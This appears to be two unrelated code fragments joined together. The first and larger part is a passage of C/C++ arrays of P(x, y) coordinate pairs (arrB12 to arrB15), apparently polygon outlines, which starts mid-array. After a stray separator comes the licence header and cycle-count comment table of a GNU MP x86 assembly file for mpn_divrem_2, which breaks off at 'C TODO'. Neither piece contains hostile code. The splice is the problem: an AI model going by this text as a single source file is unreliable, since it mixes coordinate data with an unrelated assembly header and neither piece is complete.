658493133), P(460841043, 658492190), P(460845517, 658492190), P(460846262, 658492190), P(460847008, 658493133), P(460847753, 658493133), P(460848499, 658494075), P(460850736, 658494075), P(460851482, 658495018), P(460852973, 658495018), P(460855210, 658495018), P(460855210, 658496903), P(460855956, 658497846), P(460858938, 658497846), P(460861175, 658500674), P(460861921, 658500674), P(460867886, 658505387), P(460868632, 658505387), P(460870869, 658502559), P(460871614, 658501616), P(460873851, 658501616), P(460874597, 658500674), P(460876088, 658500674), P(460876834, 658499731), P(460880562, 658497846), P(460882054, 658497846), P(460884291, 658500674), P(460885782, 658501616), P(460888019, 658501616), P(460889510, 658501616), P(460890256, 658500674), P(460891001, 658500674), P(460891747, 658499731), P(460892493, 658499731), P(460893238, 658498788), P(460893984, 658497846), P(460896221, 658497846), P(460896967, 658496903), P(460898458, 658496903), P(460899204, 658495961), P(460900695, 658495018), P(460902932, 658492190), P(460902932, 658490305), P(460902932, 658489362), P(460903678, 658489362), P(460904423, 658488420), P(460907406, 658484649), P(460908897, 658484649), P(460909643, 658485592), P(460913371, 658485592), P(460914117, 658485592), P(460915608, 658483707), P(460917099, 658483707), P(460918591, 658485592), P(460918591, 658486535), P(460919336, 658487477), P(460920082, 658488420), P(460920082, 658489362), P(460921573, 658491248), P(460922319, 658491248), P(460923065, 658492190), P(460925301, 658495018), P(460927538, 658495018), P(460928284, 658494075), P(460929030, 658494075), P(460930521, 658492190), P(460931267, 658492190), P(460932012, 658491248), P(460933504, 658490305), P(460932758, 658489362), P(460932758, 658488420), P(460933504, 658488420), P(460935741, 658488420), P(460936486, 658489362), P(460936486, 658490305), P(460935741, 658491248), P(460936486, 658492190), P(460937232, 658492190), P(460938723, 658493133), P(460938723, 658495018), P(460940215, 658496903), P(460940960, 658496903), P(460941706, 658495961), P(460942452, 658495961), P(460943197, 658495961), P(460943197, 658496903), P(460943943, 658497846), P(460946925, 658498788), P(460947671, 658497846), P(460949908, 658497846), P(460950654, 658496903), P(460952145, 658496903), P(460953636, 658495018), P(460954382, 658495018), P(460955873, 658494075), P(460957365, 658492190), P(460958856, 658490305), P(460962584, 658490305), P(460963330, 658489362), P(460964076, 658489362), P(460964821, 658488420), P(460967804, 658488420), P(460968549, 658487477), P(460970786, 658487477), P(460972278, 658485592), P(460973023, 658484649), P(460975582, 658483888), P(460977373, 658483279), P(460979473, 658482394), P(460980660, 658481132), P(460980208, 658480081), P(460981405, 658478732), P(460982232, 658479711), P(460984171, 658479386), P(460985895, 658479045), P(460986314, 658480002), P(460987191, 658480879), P(460987740, 658481336), P(460988241, 658481996), P(460988682, 658482503), P(460989341, 658483112), P(460990173, 658483707), P(460990897, 658483990), P(460991425, 658484425), P(460992671, 658485433), P(460994800, 658485664), P(460996353, 658485760), P(460997875, 658486143), P(460999578, 658486585), P(461001119, 658487455), P(461002229, 658487820), P(461003611, 658487410), P(461005086, 658487477), P(461005889, 658488178), P(461007323, 658488420), P(461008808, 658489151), P(461012391, 658488920), P(461016232, 658488562), P(461017025, 658488511), P(461018664, 658488588), P(461019227, 658488127), P(461020404, 658489023), P(461020788, 658488229), P(461020576, 658486337), P(461024850, 658486190), P(461025294, 658486529), P(461028323, 658490139), P(461028482, 658490828), P(461028412, 658491387), P(461027853, 658493050), P(461027130, 658495355), P(461027339, 658496264), P(461028085, 658497660), P(461028528, 658498043), P(461031208, 658498089), P(461033351, 658498659), P(461035611, 658498962), P(461038431, 658498742), P(461039713, 658498312), P(461039899, 658496321), P(461039712, 658494656), P(461042765, 658493830), P(461043627, 658494622), P(461045352, 658494889), P(461046622, 658494625), P(461048423, 658493908), P(461048831, 658492716), P(461050506, 658492621), P(461051735, 658491355), P(461053721, 658490222), P(461055314, 658490866), P(461056727, 658491022), P(461058332, 658490426), P(461060265, 658488420), P(461061756, 658490305), P(461063993, 658490305), P(461064739, 658491248), P(461066230, 658490305), P(461066230, 658491248), P(461066976, 658492190), P(461068467, 658494075), P(461069213, 658493133), P(461069958, 658493133), P(461070704, 658493133), P(461071450, 658494075), P(461072195, 658494075), P(461072941, 658495018), P(461073687, 658495961), P(461078161, 658495961), P(461078906, 658495018), P(461080398, 658496903), P(461083380, 658497846), P(461084871, 658497846), P(461085617, 658496903), P(461087108, 658495961), P(461088600, 658495961), P(461089345, 658496903), P(461090837, 658496903), P(461091582, 658495961), P(461092328, 658495961), P(461093074, 658495018), P(461093819, 658494075), P(461095311, 658493133), P(461099039, 658493133), P(461099785, 658494075), P(461101276, 658495018), P(461102021, 658495018), P(461102767, 658494075), P(461104258, 658494075), P(461106495, 658495018), P(461107987, 658493133), P(461108732, 658492190), P(461109478, 658493133), P(461110224, 658493133), P(461110969, 658493133), P(461111715, 658494075), P(461113952, 658494075), P(461114698, 658494075), P(461115443, 658495018), P(461116189, 658495018), P(461116935, 658495961), P(461117680, 658495961), P(461119172, 658496903), P(461119917, 658495961), P(461120663, 658495961), P(461121409, 658496903), P(461122900, 658496903), P(461125137, 658497846), P(461131848, 658497846), P(461132593, 658498788), P(461140050, 658498788), P(461140796, 658497846), P(461141541, 658497846), P(461146015, 658498788), P(461146761, 658497846), P(461151235, 658497846), P(461151980, 658497846), P(461152726, 658496903), P(461154217, 658496903), P(461155709, 658495961), P(461157200, 658495961), P(461157946, 658496903), P(461158691, 658495961), P(461160183, 658495018), P(461160928, 658495961), P(461164656, 658495961), P(461165402, 658495018), P(461166148, 658495018), P(461169130, 658495018), P(461169876, 658494075), P(461171367, 658493133), P(461174350, 658493133), P(461175096, 658494075), P(461175841, 658494075), P(461176587, 658493133), P(461178824, 658493133), P(461181061, 658493133), P(461181806, 658492190), P(461182552, 658492190), P(461183298, 658491248), P(461186280, 658491248), P(461187026, 658490305), P(461191500, 658490305), P(461192246, 658489362), P(461195228, 658489362), P(461195974, 658488420), P(461196720, 658485592), P(461197465, 658486535), P(461198211, 658486535), P(461198957, 658487477), P(461201193, 658487477), P(461201939, 658486535), P(461208650, 658486535), P(461210141, 658488420), P(461211633, 658488420), P(461213124, 658490305), P(461213870, 658490305), P(461215361, 658492190), P(461218344, 658494075), P(461221326, 658497846), P(461221326, 658498788), P(461222072, 658499731), P(461222817, 658500674), P(461223563, 658500674), P(461225054, 658502559), P(461225800, 658503502), P(461226546, 658503502), P(461226546, 658504444), P(461227291, 658505387), P(461229528, 658508215), P(461230274, 658508215), P(461231020, 658509157), P(461231765, 658509157), P(461233257, 658511043), P(461234002, 658511043), P(461235494, 658511985), P(461236985, 658513871), P(461238246, 658516094), P(461239479, 658517024), P(461240411, 658517735), P(461241972, 658518607), P(461243182, 658518956), P(461244416, 658519015), P(461245724, 658519015), P(461246678, 658519852), P(461247589, 658520645), P(461248915, 658521412), P(461250407, 658522355), P(461251152, 658523298), P(461251728, 658524410), P(461252750, 658525025), P(461253389, 658525183), P(461253881, 658525565), P(461255559, 658526435), P(461256920, 658527059), P(461259818, 658528011), P(461262482, 658528732), P(461264607, 658529187), P(461265807, 658529460), P(461267737, 658529354), P(461269001, 658528869), P(461270849, 658528751), P(461272304, 658528357), P(461272849, 658527664), P(461273451, 658528315), P(461274005, 658529041), P(461274905, 658529521), P(461276063, 658529727), P(461277313, 658529813), P(461279068, 658529743), P(461280156, 658529701), P(461280943, 658529754), P(461282175, 658529700), P(461283200, 658529165), P(461284155, 658530385), P(461284536, 658531678), P(461285027, 658532440), P(461285951, 658533457), P(461286872, 658534377), P(461287831, 658534793), P(461288930, 658534773), P(461291064, 658533668), P(461291418, 658533667), P(461292173, 658533048), P(461292909, 658532725), P(461295146, 658530839), P(461298129, 658530839), P(461298874, 658529897), P(461299620, 658529897), P(461302602, 658528954), P(461303348, 658529897), P(461304094, 658529897), P(461304839, 658529897), P(461307076, 658532725), P(461307822, 658533667), P(461308568, 658533667), P(461309313, 658534610), P(461310805, 658534610), P(461312296, 658535553), P(461319007, 658535553), P(461319752, 658534610), P(461324226, 658534610), P(461325718, 658533667), P(461329446, 658533667), P(461332429, 658536496), P(461334666, 658536496), P(461336174, 658533105), P(461337181, 658531631), P(461338942, 658530506), P(461341376, 658531782), P(461343425, 658531616), P(461345121, 658530950), P(461347342, 658530839), P(461348770, 658530649), P(461349841, 658529695), P(461351459, 658528145), P(461355544, 658528011), P(461356290, 658528954), P(461356512, 658530286), P(461357035, 658531782), P(461357781, 658533667), P(461358385, 658536654), P(461359892, 658538143), P(461361565, 658539261), P(461363247, 658540600), P(461363921, 658541313), P(461365393, 658543713), P(461367054, 658544520), P(461367703, 658545588), P(461369220, 658547437), P(461370841, 658548151), P(461371720, 658548342), P(461374261, 658549580), P(461375638, 658549942), P(461377697, 658550142), P(461381188, 658550371), P(461383399, 658549961), P(461384583, 658549542), P(461385411, 658549180), P(461386579, 658547919), P(461385738, 658547331), P(461386219, 658546154), P(461385248, 658545644), P(461385452, 658545208), P(461386576, 658545713), P(461387359, 658544430), P(461387830, 658543651), P(461388022, 658543000), P(461388465, 658542781), P(461388761, 658542927), P(461389240, 658543565), P(461390450, 658545131), P(461391383, 658546422), P(461392401, 658547790), P(461393315, 658548989), P(461394064, 658550037), P(461394839, 658551341), P(461395683, 658552827), P(461396539, 658554227), P(461396942, 658555018), P(461397152, 658557151), P(461397590, 658558778), P(461398602, 658560055), P(461401029, 658561951), P(461403266, 658562894), P(461412959, 658562894), P(461413705, 658563837), P(461414451, 658563837), P(461415942, 658564780), P(461416688, 658563837), P(461416688, 658562894), P(461415196, 658561008), P(461413705, 658561008), P(461414451, 658559123), P(461415942, 658561008), P(461416688, 658561008), P(461418179, 658561951), P(461418924, 658562894), P(461418924, 658563837), P(461420416, 658565722), P(461429364, 658565722), P(461430109, 658566665), P(461430855, 658565722), P(461433092, 658568551), P(461433092, 658569494), P(461433838, 658570437), P(461434583, 658570437), P(461437566, 658572322), P(461438311, 658571380), P(461439057, 658572322), P(461439803, 658571380), P(461439803, 658570437), P(461440548, 658569494), P(461440548, 658568551), P(461440548, 658567608), P(461442040, 658565722), P(461443531, 658562894), P(461444277, 658563837), P(461444277, 658564780), P(461443531, 658565722), P(461443531, 658566665), P(461442785, 658567608), P(461442040, 658570437), P(461443531, 658572322), P(461443531, 658574208), P(461443531, 658575151), P(461445768, 658577980), P(461447259, 658578923), P(461447259, 658579865), P(461448005, 658581751), P(461448751, 658581751), P(461449496, 658582694), P(461452479, 658582694), P(461453225, 658581751), P(461453970, 658581751), P(461456207, 658581751), P(461456953, 658582694), P(461457698, 658582694), P(461457698, 658584580), P(461458444, 658585523), P(461459190, 658585523), P(461459935, 658586466), P(461460681, 658586466), P(461461427, 658587409), P(461462918, 658587409), P(461463664, 658588352), P(461463664, 658589295), P(461464409, 658591180), P(461465155, 658591180), P(461465901, 658592123), P(461466646, 658592123), P(461467392, 658592123), P(461468138, 658593066), P(461469629, 658594009), P(461470375, 658594009), P(461471120, 658594009), P(461471866, 658594952), P(461472612, 658594952), P(461473357, 658595895), P(461474849, 658596838), P(461476340, 658596838), P(461477085, 658596838), P(461477831, 658597781), P(461478577, 658597781), P(461479322, 658598724), P(461482305, 658601553), P(461483796, 658601553), P(461484542, 658602496), P(461486033, 658602496), P(461486779, 658602496), P(461487525, 658603439), P(461489762, 658603439), P(461490507, 658603439), P(461491253, 658604382), P(461492744, 658604382), P(461494236, 658605325), P(461498709, 658605325), P(461499455, 658605325), P(461500201, 658606268), P(461501692, 658606268), P(461507657, 658609097), P(461511751, 658608793), P(461514507, 658608419), P(461516636, 658608495), P(461518823, 658608661), P(461521066, 658608926), P(461522987, 658609097), P(461525060, 658609186), P(461526849, 658609186), P(461527973, 658609154), P(461530646, 658609097), P(461532434, 658609034), P(461533275, 658608850), P(461534501, 658609097), P(461536239, 658609229), P(461538217, 658609072), P(461540125, 658609704), P(461541957, 658610983), P(461543411, 658611533), P(461544934, 658611907), P(461547524, 658612305), P(461549692, 658612641), P(461552226, 658613172), P(461554539, 658613527), P(461556858, 658613243), P(461558362, 658612869), P(461561424, 658612655), P(461563189, 658611778), P(461562476, 658610864), P(461562525, 658610338), P(461568795, 658604963), P(461569325, 658604868), P(461569692, 658605461), P(461572422, 658604499), P(461572883, 658603883), P(461573685, 658603846), P(461574238, 658604326), P(461574412, 658605282), P(461575309, 658605163), P(461575259, 658604561), P(461575524, 658604301), P(461575793, 658604515), P(461575877, 658605352), P(461577672, 658607192), P(461579638, 658608338), P(461581457, 658608585), P(461583486, 658608490), P(461585635, 658607945), P(461587392, 658607414), P(461588896, 658606945), P(461590911, 658606338), P(461592586, 658605907), P(461593888, 658605566), P(461595089, 658605514), P(461596503, 658605249), P(461598633, 658604832), P(461600011, 658603875), P(461600933, 658602737), P(461601622, 658602079), P(461602943, 658602060), P(461604333, 658601623), P(461605610, 658601117), P(461606924, 658600586), P(461608914, 658599662), P(461609869, 658598851), P(461610615, 658598055), P(461611379, 658597662), P(461613483, 658596668), P(461615777, 658596838), P(461616523, 658595895), P(461617268, 658595895), P(461618014, 658595895), P(461618760, 658594952), P(461619505, 658594009), P(461621742, 658594009), P(461622488, 658593066), P(461623979, 658593066), P(461624725, 658592123), P(461630690, 658589295), P(461631436, 658590237), P(461632182, 658590237), P(461632927, 658590237), P(461633673, 658589295), P(461636655, 658589295), P(461637401, 658588352), P(461640384, 658588352), P(461641129, 658587409), P(461641875, 658587409), P(461642621, 658586466), P(461642621, 658585523), P(461643366, 658584580), P(461644858, 658582694), P(461647840, 658582694), P(461648586, 658581751), P(461649332, 658581751), P(461650077, 658580808), P(461650823, 658580808), P(461652314, 658580808), P(461653805, 658578923), P(461655297, 658578923), P(461656042, 658577980), P(461656788, 658577980), P(461657534, 658577037), P(461659771, 658575151), P(461663499, 658575151), P(461666482, 658572322), P(461667227, 658573265), P(461669464, 658573265), P(461670210, 658572322), P(461671701, 658571380), P(461673938, 658571380), P(461674684, 658572322), P(461676921, 658572322), P(461677666, 658571380), P(461679903, 658571380), P(461682886, 658572322), P(461683632, 658571380), P(461686614, 658571380), P(461687360, 658570437), P(461689597, 658570437), P(461692580, 658568551), P(461693325, 658568551), P(461694071, 658569494), P(461695562, 658569494), P(461697053, 658568551), P(461697799, 658569494), P(461698545, 658569494), P(461699290, 658570437), P(461700036, 658570437), P(461702273, 658572322), P(461703019, 658572322), P(461703764, 658571380), P(461704510, 658572322), P(461706747, 658573265), P(461708238, 658573265), P(461708984, 658572322), P(461709730, 658572322), P(461710818, 658572834), P(461713908, 658574810), P(461713754, 658575197), P(461715585, 658576916), P(461716254, 658576854), P(461716364, 658577471), P(461716224, 658578119), P(461717043, 658579923), P(461719644, 658584542), P(461721010, 658586692), P(461723105, 658588556), P(461724898, 658590294), P(461726024, 658591052), P(461726529, 658591228), P(461727319, 658591031), P(461727557, 658591265), P(461728240, 658591308), P(461728987, 658591301), P(461731639, 658592213), P(461734336, 658593066), P(461739393, 658594692), P(461744079, 658595601), P(461749187, 658596294), P(461751390, 658596528), P(461753057, 658596372), P(461754469, 658595895), P(461756804, 658594958), P(461760459, 658596134), P(461762057, 658596497), P(461764128, 658596497), P(461766160, 658596559), P(461772328, 658595878), P(461775449, 658595284), P(461778424, 658595020), P(461783667, 658594363), P(461786524, 658594116), P(461789926, 658593916), P(461791737, 658594338), P(461795387, 658595088), P(461796660, 658595501), P(461797717, 658595895), P(461798664, 658596352), P(461800159, 658596655), P(461801719, 658597525), P(461803682, 658597781), P(461804428, 658597781), P(461805919, 658599667), P(461806665, 658599667), P(461807410, 658600610), P(461808156, 658601553), P(461809647, 658601553), P(461810393, 658602496), P(461811138, 658602496), P(461812630, 658604382), P(461813375, 658604382), P(461814867, 658606268), P(461815612, 658606268), P(461816358, 658607211), P(461817104, 658608154), P(461817849, 658608154), P(461819341, 658609097), P(461820086, 658610040), P(461820832, 658610983), P(461824560, 658612869), P(461824560, 658613812), P(461825306, 658614755), P(461826052, 658614755), P(461827543, 658616641), P(461827543, 658619470), P(461828289, 658620413), P(461829034, 658622299), P(461831271, 658625128), P(461832017, 658625128), P(461836491, 658630786), P(461837236, 658631729), P(461837982, 658631729), P(461839473, 658632672), P(461839473, 658633615), P(461840219, 658634559), P(461840219, 658635502), P(461844693, 658641160), P(461845439, 658641160), P(461846930, 658643046), P(461848421, 658643990), P(461848421, 658644933), P(461851404, 658649648), P(461852895, 658649648), P(461853641, 658650591), P(461854386, 658650591), P(461856623, 658653421), P(461857369, 658654364), P(461860352, 658655307), P(461860352, 658658137), P(461862589, 658660966), P(461862589, 658661909), P(461863334, 658662852), P(461863334, 658663796), P(461865571, 658666625), P(461865571, 658670398), P(461865571, 658671341), P(461866317, 658672284), P(461867808, 658672284), P(461867808, 658676057), P(461867808, 658677000), P(461869300, 658678887), P(461870045, 658678887), P(461870045, 658680773), P(461873028, 658684546), P(461874519, 658685489), P(461874519, 658687376), P(461875265, 658688319), P(461875265, 658689262), P(461876010, 658690206), P(461876756, 658690206), P(461877502, 658691149), P(461878247, 658692092), P(461878247, 658693979), P(461880484, 658696809), P(461883467, 658701525), P(461883467, 658707185), P(461884213, 658708128), P(461884958, 658708128), P(461884958, 658713788), P(461886450, 658715675), P(461886450, 658716618), P(461885704, 658718505), P(461886450, 658719448), P(461886450, 658720392), P(461887195, 658722279), P(461887941, 658723222), P(461887195, 658724165), P(461887195, 658725109), P(461887941, 658726052), P(461888687, 658726052), P(461888687, 658731712), P(461890178, 658733599), P(461890178, 658736430), P(461891669, 658740203), P(461891669, 658742090), P(461890923, 658743034), P(461890923, 658743977), P(461891669, 658744920), P(461890923, 658745864), P(461890923, 658746807), P(461890178, 658747751), P(461890178, 658748694), P(461889432, 658748694), P(461888687, 658749638), P(461888687, 658750581), P(461888687, 658752468), P(461887941, 658752468), P(461887195, 658753412), P(461886450, 658754355), P(461886450, 658755299), P(461885704, 658756242), P(461884958, 658757186), P(461884958, 658758129), P(461884958, 658759073), P(461884213, 658760016), P(461881976, 658762847), P(461881976, 658772282), P(461881230, 658773225), P(461880484, 658775113), P(461880484, 658776056), P(461881230, 658777943), P(461879739, 658779830), P(461879739, 658780774), P(461878247, 658782661), P(461878993, 658783605), P(461877502, 658786435), P(461877502, 658788323), P(461878247, 658789266), P(461878247, 658793041), P(461878247, 658793984), P(461878993, 658794928), P(461879739, 658794928), P(461879739, 658800590), P(461881230, 658802477), P(461881230, 658803421), P(461881976, 658804364), P(461881976, 658806252) };
P arrB12[] = { P(460986784, 658459776), P(460986675, 658459120), P(460986911, 658458209), P(460986865, 658456699), P(460986496, 658455767), P(460985720, 658455182), P(460984758, 658454922), P(460983868, 658454994), P(460983176, 658455313), P(460982578, 658455918), P(460982196, 658456621), P(460982791, 658456864), P(460983017, 658457388), P(460983090, 658457898), P(460983015, 658458501), P(460982684, 658458929), P(460983022, 658459341), P(460983545, 658459650), P(460984420, 658459870), P(460985415, 658459817), P(460986086, 658459523), P(460986169, 658459873), P(460984610, 658460861), P(460984881, 658461398), P(460984024, 658461925), P(460981370, 658462644), P(460980169, 658462674), P(460979105, 658462345), P(460977673, 658461169), P(460976946, 658460135), P(460976612, 658459084), P(460977140, 658456574), P(460977610, 658455908), P(460978137, 658455628), P(460978622, 658454600), P(460979642, 658453610), P(460980599, 658451968), P(460981467, 658450813), P(460982683, 658451476), P(460983145, 658451820), P(460983526, 658452079), P(460984186, 658451938), P(460984436, 658452359), P(460984747, 658452842), P(460985231, 658452585), P(460985611, 658453076), P(460986266, 658453607), P(460986582, 658454102), P(460986388, 658454517), P(460987607, 658455824), P(460987499, 658455965), P(460987738, 658456317), P(460988016, 658456213), P(460989034, 658457433), P(460989226, 658458420), P(460989753, 658457582), P(460990273, 658459236), P(460990231, 658459809), P(460989818, 658460006), P(460989019, 658460196), P(460988166, 658460356), P(460987511, 658460305) };
P arrB13[] = { P(461372255, 659042686), P(461372543, 659042686), P(461372671, 659042814), P(461372703, 659043134), P(461372479, 659043198), P(461372191, 659043198), P(461372095, 659042942), P(461372158, 659042781) };
P arrB14[] = { P(455913148, 661963263), P(455914403, 661963571), P(455918217, 661963878), P(455919087, 661965055), P(455920828, 661965823), P(455922620, 661965567), P(455922825, 661968972), P(455922159, 661971506), P(455920987, 661974197), P(455919804, 661975987), P(455917065, 661977599), P(455912943, 661978828), P(455909078, 661978521), P(455906851, 661977651), P(455908233, 661973734), P(455909411, 661972658), P(455910747, 661971637), P(455912282, 661969846), P(455913563, 661966262), P(455913307, 661964470) };
P arrB15[] = { P(455317437, 662167343), P(455332101, 662159278), P(455346724, 662154106), P(455350628, 662151103), P(455359788, 662139691), P(455364293, 662139841), P(455373453, 662137288), P(455378859, 662132633), P(455380661, 662127528), P(455394776, 662125275), P(455399130, 662121822), P(455404987, 662118518), P(455412194, 662116416), P(455424207, 662108908), P(455433667, 662103502), P(455446431, 662093141), P(455450936, 662091489), P(455455441, 662089537), P(455457543, 662082630), P(455466703, 662079176), P(455475262, 662073620), P(455480667, 662070317), P(455486974, 662065812), P(455489527, 662062508), P(455493581, 662064461), P(455500038, 662062358), P(455501990, 662065812), P(455504693, 662065662), P(455506495, 662063560), P(455509798, 662058604), P(455513252, 662057103), P(455515805, 662052898), P(455521661, 662054550), P(455526466, 662060106), P(455529319, 662063409), P(455531872, 662063109), P(455535176, 662059956), P(455542834, 662060406), P(455541933, 662066263), P(455542083, 662069566), P(455544035, 662069416), P(455548540, 662067163), P(455551543, 662067914), P(455556198, 662065362), P(455561904, 662064611), P(455565808, 662062208), P(455568962, 662063560), P(455572716, 662063860), P(455576169, 662061457), P(455582326, 662061758), P(455586831, 662067013), P(455589684, 662067464), P(455591336, 662065812), P(455593288, 662067464), P(455595090, 662068965), P(455599294, 662068365), P(455601096, 662064761), P(455603799, 662063860), P(455606502, 662065211), P(455611457, 662063560), P(455617163, 662062508), P(455619115, 662066112), P(455623620, 662066563), P(455628275, 662064611), P(455631428, 662065061), P(455633981, 662063109), P(455637435, 662065362), P(455638186, 662068064), P(455640288, 662068214), P(455642234, 662065622), P(455643905, 662065564), P(455646333, 662066011), P(455649336, 662063903), P(455653872, 662063775), P(455654804, 662063501), P(455655817, 662063208), P(455657763, 662062031), P(455660067, 662060802), P(455658664, 662059494), P(455658728, 662053488), P(455659431, 662048185), P(455662498, 662045246), P(455665117, 662044160), P(455660964, 662041668), P(455658153, 662039943), P(455657322, 662036238), P(455655661, 662032979), P(455657259, 662028698), P(455651061, 662025120), P(455645566, 662021798), P(455645183, 662016878), P(455650678, 662012023), P(455659367, 662005314), P(455666076, 662001800), P(455671123, 662001736), P(455679493, 662006975), P(455682240, 662006847), P(455686649, 662010233), P(455691313, 662012533), P(455693996, 662014898), P(455692695, 662019811), P(455691076, 662025316), P(455687837, 662029958), P(455684491, 662034816), P(455680928, 662040213), P(455677366, 662041401), P(455677150, 662048094), P(455679633, 662048849), P(455682332, 662053599), P(455683346, 662055431), P(455686622, 662055226), P(455687082, 662053059), P(455690632, 662048799), P(455697839, 662048493), P(455697839, 662049673), P(455691156, 662050066), P(455688273, 662053211), P(455689365, 662055046), P(455693296, 662054696), P(455695655, 662052163), P(455699019, 662051988), P(455699936, 662051245), P(455700460, 662051333), P(455701189, 662051259), P(455702187, 662051259), P(455702801, 662050619), P(455703237, 662049953), P(455705003, 662049159), P(455704952, 662048366), P(455704133, 662047854), P(455702238, 662047470), P(455700446, 662047316), P(455699371, 662046983), P(455698415, 662046144), P(455698014, 662044999), P(455702644, 662044868), P(455708192, 662044824), P(455711468, 662048755), P(455714962, 662053255), P(455718488, 662057144), P(455721884, 662057748), P(455723168, 662060163), P(455727244, 662060012), P(455727093, 662058201), P(455731471, 662057899), P(455734641, 662058352), P(455738641, 662056842), P(455742113, 662054729), P(455746265, 662054729), P(455750492, 662052766), P(455755624, 662049370), P(455761738, 662046652), P(455766569, 662049068), P(455770645, 662051861), P(455776080, 662055634), P(455782194, 662058880), P(455788987, 662059333), P(455796007, 662058956), P(455801592, 662055710), P(455803253, 662050351), P(455809216, 662054578), P(455817066, 662059786), P(455825104, 662060239), P(455833181, 662058956), P(455840427, 662058427), P(455845786, 662055786), P(455849862, 662056087), P(455857863, 662052011), P(455857712, 662049068), P(455866921, 662046501), P(455872808, 662041897), P(455878092, 662036462), P(455884961, 662032084), P(455891528, 662032084), P(455899680, 662031858), P(455908813, 662026876), P(455918550, 662021064), P(455927306, 662021291), P(455939458, 662021215), P(455948667, 662019102), P(455958253, 662023933), P(455969801, 662024536), P(455977953, 662028914), P(455989200, 662029442), P(455991917, 662034802), P(455995314, 662031254), P(456003839, 662028085), P(456014104, 662022500), P(456023468, 662018800), P(456031394, 662019177), P(456036979, 662025744), P(456045395, 662028235), P(456048264, 662035255), P(456052415, 662036010), P(456062228, 662024159), P(456066756, 662020234), P(456071059, 662021140), P(456078834, 662013742), P(456085966, 662014497), P(456094420, 662013969), P(456101138, 662018724), P(456104912, 662018951), P(456105221, 662018324), P(456106497, 662015856), P(456112309, 662016384), P(456109139, 662021291), P(456104686, 662024008), P(456106195, 662030047), P(456104912, 662032613), P(456106044, 662038500), P(456111177, 662042652), P(456117366, 662042199), P(456124009, 662034500), P(456126500, 662035707), P(456118348, 662044388), P(456112762, 662046275), P(456112347, 662052276), P(456110233, 662055672), P(456112800, 662059371), P(456117102, 662059748), P(456117857, 662062617), P(456113781, 662064352), P(456111743, 662070014), P(456113630, 662071297), P(456115895, 662070165), P(456117781, 662072127), P(456116951, 662073184), P(456112875, 662073184), P(456112724, 662074467), P(456114536, 662076845), P(456113479, 662080467), P(456115291, 662082128), P(456117253, 662082128), P(456119442, 662084543), P(456117102, 662088091), P(456119593, 662090884), P(456118008, 662093903), P(456115743, 662099640), P(456118612, 662106282), P(456118989, 662112396), P(456116196, 662120548), P(456118346, 662124343), P(456118385, 662124397), P(456123971, 662123567), P(456127594, 662124926), P(456128047, 662128322), P(456130764, 662131040), P(456133633, 662131191), P(456136576, 662135116), P(456136954, 662138135), P(456140652, 662139569), P(456141935, 662141003), P(456144804, 662140701), P(456146313, 662139418), P(456149786, 662140098), P(456150276, 662143230), P(456155862, 662145947), P(456162655, 662148287), P(456168165, 662147608), P(456173600, 662144362), P(456175336, 662149872), P(456176996, 662156892), P(456170580, 662162553), P(456169674, 662171800), P(456175411, 662179498), P(456181676, 662177234), P(456187337, 662182367), P(456194357, 662182895), P(456197311, 662192960), P(456205575, 662201975), P(456214027, 662214184), P(456210271, 662225829), P(456213464, 662241230), P(456206139, 662252311), P(456193555, 662261702), P(456199377, 662290157), P(456195057, 662292035), P(456188671, 662277949), P(456181722, 662274944), P(456177402, 662281893), P(456174209, 662276634), P(456163316, 662278137), P(456166133, 662282832), P(456171580, 662282832), P(456169702, 662289782), P(456162940, 662289218), P(456163503, 662308188), P(456157493, 662327909), P(456164067, 662344719), P(456173646, 662356364), P(456190362, 662347912), P(456198814, 662361247), P(456208205, 662366318), P(456207454, 662371765), P(456187545, 662379278), P(456168199, 662397309), P(456160874, 662416842), P(456154335, 662436711), P(456157607, 662459144), P(456143119, 662470828), P(456135174, 662484381), P(456121620, 662486718), P(456108534, 662500739), P(456082362, 662516629), P(456065537, 662539062), P(456052919, 662539062), P(456042169, 662545605), P(456031888, 662560561), P(456010389, 662557289), P(455985152, 662550746), P(455969963, 662544904), P(455962952, 662547241), P(455952203, 662542567), P(455948464, 662553317), P(455944726, 662562196), P(455933976, 662562664), P(455919021, 662545839), P(455910141, 662567804), P(455904533, 662559392), P(455888175, 662558925), P(455876491, 662567804), P(455860601, 662574815), P(455839570, 662580423), P(455811996, 662585097), P(455799377, 662599585), P(455782085, 662592107), P(455768064, 662592341), P(455752642, 662601221), P(455741892, 662615709), P(455741892, 662597482), P(455731143, 662601221), P(455724133, 662610100), P(455700298, 662609633), P(455693755, 662601688), P(455695624, 662589069), P(455677864, 662586265), P(455656833, 662584396), P(455641878, 662608698), P(455640821, 662584888), P(455632143, 662589624), P(455627996, 662591570), P(455631129, 662599818), P(455609163, 662603090), P(455604489, 662618980), P(455584813, 662619365), P(455572525, 662625509), P(455560090, 662616643), P(455540781, 662622437), P(455527375, 662620382), P(455508013, 662618341), P(455487533, 662618341), P(455469101, 662614245), P(455456813, 662609125), P(455445821, 662606595), P(455423856, 662606128), P(455401890, 662603791), P(455390206, 662607063), P(455384130, 662606595), P(455384130, 662599117), P(455370577, 662597248), P(455370577, 662590705), P(455376652, 662590705), P(455381504, 662581843), P(455384130, 662577152), P(455372914, 662565468), P(455366701, 662576869), P(455361069, 662590693), P(455333188, 662581825), P(455321037, 662572011), P(455298604, 662555653), P(455273366, 662529949), P(455241586, 662500037), P(455231122, 662486778), P(455223430, 662491628), P(455217839, 662488479), P(455218556, 662482262), P(455225089, 662475438), P(455219620, 662467323), P(455227565, 662441151), P(455210740, 662412174), P(455213077, 662382731), P(455214479, 662346277), P(455224877, 662328037), P(455224877, 662301925), P(455232005, 662280613), P(455247428, 662252572), P(455263318, 662228270), P(455280676, 662196256), P(455301642, 662182001) };
}
|
dnl x86 mpn_divrem_2 -- Divide an mpn number by a normalized 2-limb number.
dnl Copyright 2007, 2008 Free Software Foundation, Inc.
dnl This file is part of the GNU MP Library.
dnl The GNU MP Library is free software; you can redistribute it and/or modify
dnl it under the terms of the GNU Lesser General Public License as published
dnl by the Free Software Foundation; either version 3 of the License, or (at
dnl your option) any later version.
dnl The GNU MP Library is distributed in the hope that it will be useful, but
dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public
dnl License for more details.
dnl You should have received a copy of the GNU Lesser General Public License
dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/.
include(`../config.m4')
C norm frac
C 486
C P5
C P6-13 29.2
C P6-15 *26
C K6
C K7 22
C K8 *19
C P4-f1
C P4-f2 *65
C P4-f3
C P4-f4 *72
C A star means numbers not updated for the latest version of the code.
C TODO
